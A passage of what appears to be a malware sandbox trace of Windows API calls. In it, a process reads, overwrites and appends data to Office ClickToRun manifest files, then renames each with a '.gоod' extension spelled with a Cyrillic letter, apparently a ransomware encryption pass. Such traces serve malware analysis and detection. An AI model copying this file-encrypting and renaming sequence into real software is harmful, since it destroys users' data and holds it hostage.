lpOverlapped=0x0) returned 1 [0084.257] CloseHandle (hObject=0x76c) [0084.257] CloseHandle (hObject=0x76c) returned 1 [0084.257] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x77 [0084.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0084.257] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0084.257] GetFileType (hFile=0x76c) returned 0x1 [0084.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0084.257] GetFileType (hFile=0x76c) returned 0x1 [0084.257] WriteFile (in: hFile=0x76c, lpBuffer=0x3368fb0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x3368fb0*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0084.257] CloseHandle (hObject=0x76c) returned 1 [0084.259] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x77 [0084.259] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x7c [0084.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0084.259] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2e700f14, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3f24)) returned 1 [0084.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0084.259] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml.gоod")) returned 1 [0084.260] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6e [0084.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0084.260] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x35ac620 | out: lpFileInformation=0x35ac620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31415cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x265a)) returned 1 [0084.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0084.260] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6e [0084.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0084.260] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0084.261] GetFileType (hFile=0x76c) returned 0x1 [0084.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0084.261] GetFileType (hFile=0x76c) returned 0x1 [0084.261] SetFilePointer (in: hFile=0x76c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0084.261] ReadFile (in: hFile=0x76c, lpBuffer=0x35acb28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x35acb28*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0084.262] CloseHandle (hObject=0x76c) returned 1 [0084.262] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6e [0084.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0084.262] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0084.263] GetFileType (hFile=0x76c) returned 0x1 [0084.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0084.263] GetFileType (hFile=0x76c) returned 0x1 [0084.263] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x265a [0084.263] WriteFile (in: hFile=0x76c, lpBuffer=0x35adfd8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x35adfd8*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0084.264] CloseHandle (hObject=0x76c) returned 1 [0084.265] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6e [0084.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0084.265] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0084.266] GetFileType (hFile=0x76c) returned 0x1 [0084.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0084.266] GetFileType (hFile=0x76c) returned 0x1 [0084.266] ReadFile (in: hFile=0x76c, lpBuffer=0x35b0310, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x35b0310*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0086.099] CloseHandle (hObject=0x76c) returned 1 [0086.099] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6e [0086.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0086.099] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0086.099] GetFileType (hFile=0x76c) returned 0x1 [0086.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0086.100] GetFileType (hFile=0x76c) returned 0x1 [0086.100] WriteFile (in: hFile=0x76c, lpBuffer=0x32f55a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x32f55a0*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0086.100] CloseHandle (hObject=0x76c) returned 1 [0086.100] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6e [0086.100] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x73 [0086.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0086.100] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2f8964fd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x266a)) returned 1 [0086.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0086.100] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml.gоod")) returned 1 [0086.101] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7b [0086.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0086.101] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x3475198 | out: lpFileInformation=0x3475198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed611426, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed611426, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd252f7b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39d9c)) returned 1 [0086.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0086.739] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7b [0086.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0086.739] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0086.740] GetFileType (hFile=0x7ac) returned 0x1 [0086.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0086.740] GetFileType (hFile=0x7ac) returned 0x1 [0086.740] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0086.740] ReadFile (in: hFile=0x7ac, lpBuffer=0x34efe68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x34efe68*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0086.747] CloseHandle (hObject=0x7ac) returned 1 [0086.747] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7b [0086.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0086.747] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0086.747] GetFileType (hFile=0x7ac) returned 0x1 [0086.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0086.747] GetFileType (hFile=0x7ac) returned 0x1 [0086.747] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x39d9c [0086.747] WriteFile (in: hFile=0x7ac, lpBuffer=0x34f11b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x34f11b0*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0086.748] CloseHandle (hObject=0x7ac) returned 1 [0086.748] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7b [0086.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0086.749] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0086.749] GetFileType (hFile=0x7ac) returned 0x1 [0086.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0086.749] GetFileType (hFile=0x7ac) returned 0x1 [0086.749] ReadFile (in: hFile=0x7ac, lpBuffer=0x34f3550, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x34f3550*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0087.027] CloseHandle (hObject=0x7ac) returned 1 [0087.028] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7b [0087.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0087.028] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0087.028] GetFileType (hFile=0x7ac) returned 0x1 [0087.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0087.028] GetFileType (hFile=0x7ac) returned 0x1 [0087.028] WriteFile (in: hFile=0x7ac, lpBuffer=0x337c7c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x337c7c8*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0087.028] CloseHandle (hObject=0x7ac) returned 1 [0087.028] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7b [0087.028] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x80 [0087.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0087.029] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed611426, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed611426, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x30160f67, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x39dac)) returned 1 [0087.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0087.029] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml.gоod")) returned 1 [0087.030] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x70 [0087.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0087.030] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x33a0570 | out: lpFileInformation=0x33a0570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5c4f9a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5c4f9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd330b2e9, 